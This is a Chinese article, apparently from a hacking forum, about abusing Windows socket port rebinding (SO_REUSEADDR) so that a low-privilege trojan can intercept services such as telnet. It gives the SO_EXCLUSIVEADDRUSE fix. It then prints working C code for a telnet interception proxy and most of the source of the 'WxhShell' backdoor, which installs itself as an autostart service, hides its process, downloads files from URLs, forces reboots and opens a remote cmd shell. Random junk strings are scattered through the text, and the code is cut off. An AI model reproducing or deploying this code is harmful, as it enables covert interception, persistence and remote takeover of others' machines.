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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,,iQG' * s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `H|g~7KD& l`u*,"$ saddr.sin_family = AF_INET; eeX)JC0A (p2a{v}fEz saddr.sin_addr.s_addr = htonl(INADDR_ANY);
w\QpQ~OX IWQ8e$N bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2Vi[qS^ ~gAx 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }z*p2)v` R`<E3J\* 这意味着什么?意味着可以进行如下的攻击: @F1pu3E 7)]G"m{ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A6Qi^TI 4@Qq5kpk* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $H9xM & 3a+6!L[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l%:_#1?isf l{3utQH-=z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 F`N*{at 2-6-kS)c 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O|/tRkDMP{ lDA%M3(p 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
i}YnJ @GV^B'}* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 HvngjP{> I[|I\tW #include ["7}u^z@<+ #include <*\J 6:^n #include _\<M58/z #include {F4: DWORD WINAPI ClientThread(LPVOID lpParam);
g$97"d' int main() 5-J-Tn { ^m7PXY WORD wVersionRequested; -_}EQ9Q DWORD ret; cZ(XY} WSADATA wsaData; a"zoDD/ BOOL val; 3_ >R's8P SOCKADDR_IN saddr; }0TY SOCKADDR_IN scaddr; F,bl>;{[{ int err; t>[r88v SOCKET s; h
Na<LZ SOCKET sc; wVVe L$28 int caddsize; v 3NaX. HANDLE mt; MoA{ /{ DWORD tid; g,;MV7yE wVersionRequested = MAKEWORD( 2, 2 ); 7MfT~v err = WSAStartup( wVersionRequested, &wsaData ); B?M+`; if ( err != 0 ) { y/FisX printf("error!WSAStartup failed!\n"); )v9[/
]*P return -1; }B5I#Af7 } Vh<`MS0X saddr.sin_family = AF_INET; a !IH-XJ2 RD4)NN6y5} //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :U9R
1^}A yV8).4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _pS%tPw saddr.sin_port = htons(23); 0b4OJ[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sHF vzE% { }:%pOL n printf("error!socket failed!\n"); VtO+=mZV return -1; X_qXH5^% } {G}HZv%S U val = TRUE; Rc4EFHL //SO_REUSEADDR选项就是可以实现端口重绑定的 Q@8[q l1l if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >W;i2%T { I%p#E#[G printf("error!setsockopt failed!\n"); qj1z>,\ return -1; lm|`Lh- } ZeeuH"A //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |(%H O@i //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )>fi={!=c //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |(SW 7'|PHQ? S if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j#& { xR:h^S^W ~ ret=GetLastError(); ueR42J%s printf("error!bind failed!\n"); .bE,Q9: return -1; ?@1'WD t } zgqw*)C~ listen(s,2); P5>CSWy% while(1) TI>yi ^} { V|AE~R^ caddsize = sizeof(scaddr); 1 XG-O //接受连接请求 {UcItLjY sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k@L~h{`Mc\ if(sc!=INVALID_SOCKET) =CoT{LRQ_ { 'm|m+K83 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gNwXOd u if(mt==NULL) 0U>Q<I} { V%ch' printf("Thread Creat Failed!\n"); =lwS\mNs break; K +~v<F } k3 l } K(gj6SrjV CloseHandle(mt); i.sq^]j } guv@t&;t0 closesocket(s); {<kG{i/ WSACleanup(); z (3"\ ^T return 0; 8|({
_Z } MxR U6+a DWORD WINAPI ClientThread(LPVOID lpParam)
`xUPML- { -Q6pV<i SOCKET ss = (SOCKET)lpParam; %'e(3;YI SOCKET sc; rHlF& ET unsigned char buf[4096]; Aq!['G SOCKADDR_IN saddr; C~qhwwh long num; {0 ~0 DWORD val; vgj^ - DWORD ret; lQBM0|n //如果是隐藏端口应用的话,可以在此处加一些判断 Gq*)]X{Ua //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 j;)g+9` saddr.sin_family = AF_INET; ^%&x{F. saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %K"%Qm=Tl saddr.sin_port = htons(23); u7?juI#Cl if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d 4]%Wdvf { g5Rm!T+@I< printf("error!socket failed!\n"); s{e(- 7' return -1; Ug21d42Z4 } ^d80\PXz val = 100; :eW~nI.Vc if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hli10p$ {
#-T.@a1X ret = GetLastError(); bZ.N7X PH return -1; +ZKhmb! } iwQ-(GjM[A if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cO,V8#H { \'Ta8 ret = GetLastError(); zU~..;C return -1; rf->mk{ } f_ztnRw if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #OWs3$9
{ A[kH_{to; printf("error!socket connect failed!\n"); 1>w^ q`P closesocket(sc); 8%<`$`FyU closesocket(ss); 8/"|VE DOr return -1; V=&,^qZ } abeSkWUL( while(1) -j_I_ { 7[g;|(G0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 mE`qvavP|/ //如果是嗅探内容的话,可以再此处进行内容分析和记录 ex\W]5 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^Pd37&B4V num = recv(ss,buf,4096,0); T[-c| if(num>0) ]M;6o@hq send(sc,buf,num,0); q9Sz7_K else if(num==0) -Zg @D(pF break; Reu{
num = recv(sc,buf,4096,0); *Ca)RgM if(num>0) JA(fam~{ send(ss,buf,num,0); lt6;*z[ else if(num==0) Eqbe$o`dd break; liqR#< } >}b6J7_ closesocket(ss); ,6;xr'[o* closesocket(sc); }b+QYSt return 0 ; #we>75l{+R } _]xt65TL RR!!hY3 K ]<T8ZA_Y; ========================================================== l (,;wAH 3;MjO*- 下边附上一个代码,,WXhSHELL 0^_lj9B! EB5_; ========================================================== Hpi%9SAM ny(GTKoUz #include "stdafx.h" eQFb$C]R}y BwJ^_:(p~ #include <stdio.h> \c~{o+UD- #include <string.h> knOnUU #include <windows.h> ,p!B"#
ot #include <winsock2.h> 030U7 VT1 #include <winsvc.h> z5`8G =A #include <urlmon.h> [z% ?MIT zk5=Opmvh #pragma comment (lib, "Ws2_32.lib") "6N~2q,SW #pragma comment (lib, "urlmon.lib") ,.jHV s`=/fvf. #define MAX_USER 100 // 最大客户端连接数 ~r^5-\[hZ #define BUF_SOCK 200 // sock buffer MJ*]fC3/ #define KEY_BUFF 255 // 输入 buffer ?96-" l oU0
h3 #define REBOOT 0 // 重启 Vp$wHB& #define SHUTDOWN 1 // 关机 /^LH B9e.-Xaf #define DEF_PORT 5000 // 监听端口 AL]h|)6QpC +K;Y+
K&;2 #define REG_LEN 16 // 注册表键长度 /*AJr #define SVC_LEN 80 // NT服务名长度 }B"|z'u |
"Jx // 从dll定义API SbS$(Gt#Bv typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u3Usq=Ij{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +_
*eu typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x*me'?q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dUoWo3r= s]y-pZ // wxhshell配置信息 4jX@m struct WSCFG { &@YFje6Lcm int ws_port; // 监听端口 d&[iEU char ws_passstr[REG_LEN]; // 口令 AozmO int ws_autoins; // 安装标记, 1=yes 0=no @sw9A93A char ws_regname[REG_LEN]; // 注册表键名 -(\1r2
Y char ws_svcname[REG_LEN]; // 服务名
#%?FM> char ws_svcdisp[SVC_LEN]; // 服务显示名 s~=KhP~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 R2}kz. char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %n05Jitl int ws_downexe; // 下载执行标记, 1=yes 0=no @up&q char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 7
9Qc`3a char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2J;kD2"! tYs8)\{ }; onnI ! t_jyyHxoZ: // default Wxhshell configuration N[qA2+e$Z struct WSCFG wscfg={DEF_PORT, vG ]GQ# "xuhuanlingzhe", x37/cu 1, s0cs'Rg "Wxhshell", {Q5KV%F_ "Wxhshell", dqqnCXYuW "WxhShell Service", C=N!z "Wrsky Windows CmdShell Service", ^Xs%.`Gv/ "Please Input Your Password: ", )|y#OZHR 1, fyM3UA\U " http://www.wrsky.com/wxhshell.exe", $!!R:Wn/R "Wxhshell.exe" \U/v;Ijf }; fL!V$]HNt ,~(|p` // 消息定义模块 T/[f5?p char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lij B#1<8* char *msg_ws_prompt="\n\r? for help\n\r#>"; tNK^z7Dm char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; oW0gU?Rr)u char *msg_ws_ext="\n\rExit."; vO\:vp4fH char *msg_ws_end="\n\rQuit."; t]s94 R q char *msg_ws_boot="\n\rReboot..."; ~?#~ Ar char *msg_ws_poff="\n\rShutdown..."; 8r,9OM char *msg_ws_down="\n\rSave to "; m_a^RB( gaQ[3g char *msg_ws_err="\n\rErr!"; w{PUj char *msg_ws_ok="\n\rOK!"; L-#e?Y}$J b-PSm=` char ExeFile[MAX_PATH]; j!YNg*H int nUser = 0; O!;H}{[dg HANDLE handles[MAX_USER]; \B_i$<Sz int OsIsNt; zhNQuK,L ?-e7e% SERVICE_STATUS serviceStatus; SOVjEo4'3 SERVICE_STATUS_HANDLE hServiceStatusHandle; }N?g| wHx}U M" // 函数声明 :^n*V6.4 int Install(void); YWEYHr;%^? int Uninstall(void); lM>.@: int DownloadFile(char *sURL, SOCKET wsh);
:-z&Y492 int Boot(int flag); K[kds` void HideProc(void); H4t)+(:D' int GetOsVer(void); Zr=ib int Wxhshell(SOCKET wsl); 7 0_}S*T void TalkWithClient(void *cs); ^f9>l;Lb int CmdShell(SOCKET sock); p"2m90IO int StartFromService(void); Cl,9yU)1n int StartWxhshell(LPSTR lpCmdLine); >-b&v $ *-0>3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jh[
#p?: VOID WINAPI NTServiceHandler( DWORD fdwControl ); H"eS<eT `%e|$pK // 数据结构和表定义 ;AKwx|I$g SERVICE_TABLE_ENTRY DispatchTable[] = Hb+X}7c$ { j_p`Ng {wscfg.ws_svcname, NTServiceMain}, z)
:ka"e {NULL, NULL} j1/+\8Y }; Oukd_Ryf :$Q`>k7A // 自我安装 1Pm4.C) int Install(void) 0Z"s_r}h { jgG$'|s} char svExeFile[MAX_PATH]; u^t$cLIZ HKEY key; c&E]E( strcpy(svExeFile,ExeFile); g0PT8]8 Xx_tpC? // 如果是win9x系统,修改注册表设为自启动 A_Rrcsl4 if(!OsIsNt) { 9TC)
w| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lbcy:E*g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k@yh+ v5 RegCloseKey(key); ,]ga[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =NadAyv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D93gH1z RegCloseKey(key); =J](.78 return 0; *r;xw } Vz{>cSz# } GF*>~_Yr } uAUp5XP|Z else { pr_>b`p6 lCR!:~ // 如果是NT以上系统,安装为系统服务 M ,`w A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zEj#arSE4 if (schSCManager!=0) 5MR,UgT { qw<HY$3= SC_HANDLE schService = CreateService /&r|ec5 ( +"dv7 schSCManager, KFU%DU G wscfg.ws_svcname, V,Q4n%h1. wscfg.ws_svcdisp, 6kN:* SERVICE_ALL_ACCESS, 0Qnd6mb SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \9`#]#1bx5 SERVICE_AUTO_START, ^XG*z?Tt SERVICE_ERROR_NORMAL, `<U5z$^QTw svExeFile, ?F_)- NULL, H]&gW/= NULL, Or8kp/d NULL, b5<okICD NULL, 22&;jpL'?
NULL lj4o#^lC ); .1#kDM if (schService!=0) l(!/Q|Q| { E"6X|I n CloseServiceHandle(schService); :Wc_Utt CloseServiceHandle(schSCManager); Qs%B'9") strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :QPf~\w? strcat(svExeFile,wscfg.ws_svcname); .XS9,/S if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MLr-,
"gs RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,$N#Us(Wa RegCloseKey(key); nls return 0; -_em%o3XC } dEp7{jY1O } 2%]Z
Kd CloseServiceHandle(schSCManager); vcv CD7MD } BhkoSkr } [ *>AN7W /&^W#U$4 return 1; V
kjuyK } 9AQxNbs =n+ \\D // 自我卸载
.X'p q5 int Uninstall(void) A%XX5* { rS7)6h7(7 HKEY key; F9a^ED0l\ r^1+cwy/7P if(!OsIsNt) { X!>eiYK) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r@kP* RegDeleteValue(key,wscfg.ws_regname); |ZiC`Nt RegCloseKey(key); %S \8. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `\CVV*hP RegDeleteValue(key,wscfg.ws_regname); SwW['c'*]B RegCloseKey(key); b?T return 0; fQdK]rLj } t~hTp K* } Gh\q^?} } GpI!J}~m else { KC#/Z2A|< c{Ou^.yR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xfFg,9w8 if (schSCManager!=0) ba@ctkCW { %IY``r)j SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {A:j[ if (schService!=0) [{
~TcT { t9cl"F= if(DeleteService(schService)!=0) { =0
CloseServiceHandle(schService); F_H82BE+3 CloseServiceHandle(schSCManager); 4(8xjL: return 0; +&i +Mpb } Vsnuy8~k CloseServiceHandle(schService); S/tIwG
~e3 } Ig6T g ? CloseServiceHandle(schSCManager); :j^FJ@2_ } x@KZ] } S DLvi!y B9,^mE# return 1; \tN-(=T } E3aDDFDH 7.g[SBUOG // 从指定url下载文件 t2BL(yB int DownloadFile(char *sURL, SOCKET wsh) ,|kDsR! { 6#@ f'~s HRESULT hr; ])}(k char seps[]= "/"; cC'x6\a char *token; yR;{ char *file; r^,<(pbd char myURL[MAX_PATH]; x[3A+ char myFILE[MAX_PATH]; nh>K`+>co cV{o?3<:B strcpy(myURL,sURL); !\Xm!I8 token=strtok(myURL,seps); x1&W^~ while(token!=NULL) i0jBZW"_1$ { Av' GB file=token; [`RX*OH2 token=strtok(NULL,seps); \QE)m<GUe } ^=
0m-/ ]X Z-o>+, GetCurrentDirectory(MAX_PATH,myFILE); %zk$}}ti. strcat(myFILE, "\\"); Y!J>U strcat(myFILE, file); 7R!5,Js+ send(wsh,myFILE,strlen(myFILE),0); ??60,m:] send(wsh,"...",3,0); ={>Lrig:l hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $37
g]ZD if(hr==S_OK) %ru;;h return 0; ,\2:/>2 else E.|-?xQ6 return 1; YH&bD16c3 9o*,P,j'} } 6(d }W2GP Rp7ntI: // 系统电源模块 >9e(.6&2XZ int Boot(int flag) 5NoI~X= { =L;] ;i HANDLE hToken; I`KQ|h0% TOKEN_PRIVILEGES tkp; w }^ I ?`zXLY9q7 if(OsIsNt) { } :=Tm]S OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `K~AhlJUQ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2_vbT!_ tkp.PrivilegeCount = 1; B33$pUk tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,to+oSZE AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Tm_B^W} if(flag==REBOOT) { b2b?hA'k if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HK|ynBAo return 0; $`R6=\| }
<1%f@}+8 else { D?XM,l+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JRo?s~Ih return 0; B#/Q'V } ;4N;D } >h0-; else { *HEuorl if(flag==REBOOT) { >D201&*G% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L|bwZ,M=}? return 0; q[`j`8YY!R } b&1`NO else { y6]vl=^L if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z~`b\A,$ return 0; b#7{{@H } S26MDLk`R3 } ~/.7l8) Vz6Qxd{m3 return 1; aaD;jxT&M| } UG=K|OXWJ "Ph^BUAb // win9x进程隐藏模块 NaX void HideProc(void) ?QE,;QtpK { |2{wG4 @E:,lA HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?-^~f if ( hKernel != NULL ) OS8q( 2z?s { (?nCyHC%g pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _h}kp\sps ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `ZC<W]WYX/ FreeLibrary(hKernel); y!!2WHvE } L:@7tc. +\v?d&.f0 return; Q7W>qe%4 } GnvL'ESa@M Q-1vw6d // 获取操作系统版本 r Tz$^a}/ int GetOsVer(void) OpHsob~ { C*P7-oE2rh OSVERSIONINFO winfo; B(M6@1m_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ..rOsg{ GetVersionEx(&winfo); s6>ZREf#J if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Yk=PS[f return 1; "I(xgx* else jy'13G/b\ return 0; hP15qKy } W*2U="t TqnTS0fx // 客户端句柄模块 >y,-v:Vy int Wxhshell(SOCKET wsl) aA,!<^&} { 6'Fd GS SOCKET wsh; MdW]MW{ struct sockaddr_in client; &Y }N|q- DWORD myID; irfp!(r 6fw(T.Pe while(nUser<MAX_USER) DY`kx2e! { ;3@cy|\: int nSize=sizeof(client); (SvWvm wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {E@Lft- if(wsh==INVALID_SOCKET) return 1; A,a.8!*}vd T:; 2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,N)/w1?I if(handles[nUser]==0) @H=:)*; closesocket(wsh); x@[rms
else _fKou2$yz nUser++; MjU6/pO}L } _ jsK}- \ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .hifsB~ Om5Y|v"* return 0; cI4K+ } w 47tgPPk n^g|Ja // 关闭 socket ynQ: >tw void CloseIt(SOCKET wsh) _WRFsDZ' { B\XKw' closesocket(wsh); x U4 +|d nUser--; z*!%g[3I ExitThread(0); I "A_b}~*} } GaK-t*Q e7sp =I, // 客户端请求句柄 <P=twT;P void TalkWithClient(void *cs) qHrc9fB { +8Rg F p"KFJ SOCKET wsh=(SOCKET)cs; T:=lz:}I char pwd[SVC_LEN]; fSokm4]vg char cmd[KEY_BUFF]; E
S // char chr[1]; !*7 vFl int i,j; )84 ~ugs l`f/4vy while (nUser < MAX_USER) { N$U$5;r~` md"!33 @ if(wscfg.ws_passstr) { q-}Fvel u if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3v1iy/ / //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;5659!; //ZeroMemory(pwd,KEY_BUFF); <4HDZ{"M i=0; gMzcTmbc8 while(i<SVC_LEN) { zdYy^8V|z =\H!GT // 设置超时 d^{RQ fd_set FdRead; aWR}R>E struct timeval TimeOut; sTn<#l6 FD_ZERO(&FdRead); KbA?7^zo` FD_SET(wsh,&FdRead); [PNT\ElT TimeOut.tv_sec=8; 8Djc
c
z TimeOut.tv_usec=0; xdp`<POn% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z=q3Zo if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qVH1}9_ _./Sk|C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RO 4Z?tz pwd =chr[0]; H|3:6x if(chr[0]==0xd || chr[0]==0xa) { Uq^#r iq pwd=0; zh8nc%X{ break; Vex{.Vh," } Cv6'`",Yzm i++; ;DFSzbF` } 21K>`d\ )48QBz? // 如果是非法用户,关闭 socket TJK[ev};S if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *Q?tl\E } #49kjv@ g?z/2zKR send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3G}x;Cp\D send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1g8_Xe4 nn@-W] while(1) { :~Wrf8UQ L^@'q6*} ZeroMemory(cmd,KEY_BUFF); oX30VfT 5z7U1: // 自动支持客户端 telnet标准 gOSJM1Mr3 j=0; kmP]SO?tx while(j<KEY_BUFF) { Q(wx nm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VVac: cmd[j]=chr[0]; PgtJ3oq[} if(chr[0]==0xa || chr[0]==0xd) { 6dabU* cmd[j]=0; J8uLJ break; Xg|B \\ } J:CXW%\ <q j++; K1 EynU
I } o<BOYrS ?!A7rb/tj // 下载文件 YIoQL}pX if(strstr(cmd,"http://")) { _(%d(E2? send(wsh,msg_ws_down,strlen(msg_ws_down),0); <D<4BnZ( if(DownloadFile(cmd,wsh)) oM2l-[- send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wh+{mvu# else I&}L*Z?` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e!N:,`R
5 } ]zE;Tw.S else { [^Os kJ4 *W,]>v0%T switch(cmd[0]) { .}t~'*D ]O+Ma}dxz: // 帮助 uki#/GzaO case '?': { +ga k#M"n\ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HHDl8lo break; DFZkh^PFd } I`-8Air5f // 安装 5na~@-9p case 'i': { ;RDh~EV if(Install()) @XLy7_} send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Q|*1 else (eI5_`'VC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JjPKR?[> break; PF)jdcX } adCU61t // 卸载 `^u>9v-+' case 'r': { *6sl if(Uninstall()) K2M~-S3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); qLn/2 else +T|JK7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U`R5'Tf; break; ZZ2vvtlyG } `Nz/Oh7 // 显示 wxhshell 所在路径 4r>6G/b8* case 'p': { Dv| #u|iw char svExeFile[MAX_PATH]; @mOH"acGn? strcpy(svExeFile,"\n\r"); k;K)xb[w | strcat(svExeFile,ExeFile); U
9_9l7&r send(wsh,svExeFile,strlen(svExeFile),0); (D#B_`;- break; Oft-w)cYz, } -I*^-+>H // 重启 H$=e
-L`@ case 'b': { QLXN*c send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4 !i$4 if(Boot(REBOOT)) wQqb`l7+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Isvx7$Vu+ else { 6h|q'.Y closesocket(wsh); z.7cy@N6 ExitThread(0); rID#`:Hl-| } EN$2,qf break; K-bD<X } "'c
A2~ // 关机 X
iS1\* case 'd': { f,h J~ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h].<t& if(Boot(SHUTDOWN)) ]RPs|R? send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;YA(|h< else { Bp_$.!Qy closesocket(wsh); tjIl-IQ ExitThread(0); a|%J=k>> } 9>l*lCA break; AqWUwK9T } 7E!IF>` // 获取shell S=5<^o^h3 case 's': { %-)H^i~]% CmdShell(wsh); )2Wi`ZT closesocket(wsh); 7|{}\w(I ExitThread(0); ;nep5!s;< break; "fG8?)d; } n!YKz"$ // 退出 !TAlBkj case 'x': { DK$X2B"c V send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JLnH&(O CloseIt(wsh); _wTOmz%|R break; sPr~=,F } m_.>C // 离开 CnpV:>V= case 'q': { `bFff%_ send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9{RB{<Se! closesocket(wsh); $w)!3c4 WSACleanup(); J2::'Hw*s exit(1); v4u5yy_;( break; YM1'L\^ }
i*|\KM?P } [<2<Y } s%qF/70' e5* ni/P // 提示信息 S]bmS6# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -K
q5i } \#f<!R4 } UYk/v]ZA 5*j?E return; ;|pBFKx } <vUbv Tu$f? // shell模块句柄 RP~|PtLw_ int CmdShell(SOCKET sock) tmv&U;0Z { Fpm|_f7 STARTUPINFO si; y`\@N"Cf ZeroMemory(&si,sizeof(si)); fa++MNf}3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ir
{OheJ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ruc++@J@ PROCESS_INFORMATION ProcessInfo; 1$D_6U:H0 char cmdline[]="cmd"; +b.g$CRr CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T^Y([23 return 0; [h^2Y&Au5 } M^O2\G#B *C5R}9O5 // 自身启动模式 ;1:Js0=;H int StartFromService(void) <D:.(AUeO { q|j2MV5#g typedef struct (a[y1{DLy { _kj wFq DWORD ExitStatus; ur3(HL DWORD PebBaseAddress; [NaN>BZ? DWORD AffinityMask; !qv ea,vw DWORD BasePriority; (MR_^t ULONG UniqueProcessId; zfc'=ODX ULONG InheritedFromUniqueProcessId; SW*"\X; } PROCESS_BASIC_INFORMATION; : ]sUpO $K]m{ PROCNTQSIP NtQueryInformationProcess; Z1 Bp+a3 6A>dhU static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3
^>l\, static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; byLft1 b:Wm8pp? HANDLE hProcess; xCg52zkH# PROCESS_BASIC_INFORMATION pbi; ox(j^x]NC jE}33" HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &^#VN%{ if(NULL == hInst ) return 0; H7d/X +wEac
